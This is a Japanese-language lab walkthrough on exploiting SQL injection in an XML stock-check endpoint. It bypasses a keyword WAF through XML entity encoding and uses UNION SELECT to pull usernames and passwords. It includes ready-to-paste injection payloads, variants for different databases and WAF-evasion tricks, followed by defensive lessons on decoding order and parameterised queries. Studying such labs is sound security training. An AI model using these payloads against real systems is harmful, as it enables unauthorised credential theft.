Hello there, ('ω')ノ
ねらい
このLABは、在庫チェック機能のXMLリクエストにSQLインジェクションがあり、さらに単純なブラックリスト型WAFが入っている状況で、XMLエンコード(エンティティ化)を使って検知を回避し、UNION攻撃でusersテーブルの認証情報を抜くのがゴールです。最終的にadministratorでログインします。
全体像(まずはストーリー)
- 在庫チェックのPOSTがXMLボディであることを観察。
- Burp RepeaterでstoreIdの評価を確かめる(例:1+1 → 2と解釈されるか)。
- UNIONを付けて列数推測を試すが、WAFにブロックされる。
- Hackvertor等でXMLエンティティ化(dec_entities/hex_entities)してWAFを回避。
- レスポンスの形式から1列しか返せないと判断し、usernameとpasswordを連結して抽出。
- 取得したadministratorの資格情報でログインしてクリア。
実践:一手ずつ「なぜそうするか」を添えて
1) 攻撃面の特定:在庫チェックがXML
- 操作:商品ページの「Check stock」を押下して、Burpでリクエストを確認。以下のようなボディで送られているはずです。
POST /product/stock HTTP/1.1
Content-Type: application/xml
...
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
- なぜ:入力点はstoreIdとproductId。多くのLABではstoreIdがSQLに直結しているので、まずはここを重点的に試します。
2) まず「評価されるか」を確かめる(サニタイズの粗さを測る)
- 操作:Burp Repeaterに送って、storeIdを以下に変更して送信。
<storeId>1+1</storeId>
観察:レスポンスに表示される「Stock level」が、別の店舗の値になったり、2と評価された痕跡が出るはず。
なぜ:サーバ側がstoreIdを文字列のままではなくSQL式として評価している可能性を確認します。これがYESなら演算子、UNION、コメントなどが活きます。
3) UNIONで列数を探る(が、WAFに刺さる)
- 操作:次に単純なUNIONを付けて列数テスト。
<storeId>1 UNION SELECT NULL</storeId>
観察:アプリが攻撃検知でブロックします(403やエラーメッセージ、または「Blocked」など)。
なぜ:WAF/フィルタが“UNION”などのキーワードを文字列マッチで遮断しています。ここで回避テクニックの出番です。
4) XMLエンティティ化でWAFを回避
操作:BurpにHackvertor拡張を入れている前提で、storeIdの値部分を選択 → 右クリック → Extensions > Hackvertor > Encode > dec_entities または hex_entities を適用。たとえば:
入力(人間可読):
1 UNION SELECT NULL
Hackvertorタグ付き(例):
<storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>
あるいは(dec_entities):
<storeId><@dec_entities>1 UNION SELECT NULL</@dec_entities></storeId>
観察:サーバ側ではXMLパーサがエンティティをデコードし、DBに到達するときには元のUNION SELECTになっています。一方、WAFは未デコードの文字列を見ているためすり抜ける、という二重解釈ギャップを突いています。
なぜ:これは“入力デコーディングのタイミング差”を利用する典型テクニックです。XML/URL/HTMLなど、デコーダが複数いるときは必ず試す価値があります。
5) 列数の特定:1列しか返せないと判断
- 操作:エンティティ化を維持したまま、列数を増減してテスト。
<storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>
で正常応答なら「1列」。もし
<storeId><@hex_entities>1 UNION SELECT NULL, NULL</@hex_entities></storeId>
にすると在庫が「0」になったり、体裁は正常でも結果が無効になるなど、エラーの気配が出るはず。
観察:このLABでは1列しか返せない、という挙動が確認できます。
なぜ:フロントの在庫表示は単一値を想定しており、列ミスマッチ時はアプリ側がフェイルクローズ(0在庫扱い)する実装になっているためです。
6) 本攻撃:usersテーブルから username と password を連結して1列で返す
方針:1列制約があるので、文字列連結で「username」「password」をまとめて返す。DBは多くのLABでPostgreSQL想定のため“||”で連結します(MySQLならCONCAT、SQLite/Oracleも“||”)。
操作:区切りをわかりやすくするために\~を挟みます。Hackvertorのタグでエンコードして送信。
<stockCheck>
<productId>1</productId>
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>
</stockCheck>
- 観察:レスポンス本文のどこか(在庫の数値が出る箇所、または返却値の一部)に、以下のような連結済みの行が複数件分、順々に現れます。
administrator~<ハッシュまたはパスワード>
wiener~peter
...
- なぜ:UNIONで本来のクエリ結果にusersテーブルの1列化データを縦に結合し、アプリがその値をそのまま表示するためです。
7) administratorでログインしてクリア
- 操作:抽出したadministratorの資格情報をログイン画面で使用。
- 成功条件:ダッシュボードに入り、LABがSolvedに変わります。
つまずきポイント&対処
UNIONが通らない Hackvertorのタグが正しく挿入されているか確認。タグを二重に入れないこと。dec_entitiesとhex_entitiesはどちらか一方でOK。タグの外側に余計な空白や改行があるとWAFが拾う場合もあるので縮めて再送。
連結演算子エラー “||”が受け入れられない場合はDB差異を疑う。MySQLなら
<storeId><@hex_entities>1 UNION SELECT CONCAT(username,0x7e,password) FROM users</@hex_entities></storeId>
のように書き換える(0x7eは‘\~’)。
- 列数が合わない まずはNULLで列数を確定してから、実データに差し替える。 例:
<storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId>
が通るなら1列確定。
- “Blocked”のまま “UN/**/ION”のようなコメント分割や、大文字小文字ミックス、URLエンコード二重化なども有効だが、このLABではXMLエンティティ化が本命。まずはそこを堅実に詰める。
実務目線の学び(防御の勘どころ)
デコード順序の統一と可視化 取り込みレイヤーで一度だけ正規化(デコード)し、その後のレイヤーでは追加デコードをしない。WAFもアプリも同じ正規化ロジックを見るべき。
パラメータ化クエリ 連結ではなくプリペアドステートメントを徹底する。文字列・演算子の評価をアプリ層で許さない。
WAF過信の禁止 キーワード検知は多重エンコードや文法変形で回避されがち。WAFは補助輪、根治は入力検証+SQL層の安全化。
コピペ用ペイロード集
評価確認
<stockCheck> <productId>1</productId> <storeId>1+1</storeId> </stockCheck>
列数テスト(WAF回避版)
<stockCheck> <productId>1</productId> <storeId><@hex_entities>1 UNION SELECT NULL</@hex_entities></storeId> </stockCheck>
資格情報抽出(PostgreSQL/SQLite/Oracle系)
<stockCheck> <productId>1</productId> <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId> </stockCheck>
資格情報抽出(MySQL系の代替)
<stockCheck> <productId>1</productId> <storeId><@hex_entities>1 UNION SELECT CONCAT(username,0x7e,password) FROM users</@hex_entities></storeId> </stockCheck>
まとめ
このLABの肝は、「XMLで渡る」という文脈に着目し、WAFが見る文字列とアプリが評価する文字列のギャップ(デコード順序の差)を突くこと。 手順としては、まずstoreIdが式として評価されることを確認 → 通常のUNIONはWAFで遮断 → XMLエンティティ化で回避 → 1列制約を見極めてusernameとpasswordを連結 → 抜いたadministratorの資格情報でログイン。 この一連の思考(入力点の特定→評価の有無→WAF回避→列整合→データ抽出)は、実務でもそのまま再現性の高いアプローチになります。
Best regards, (^^ゞ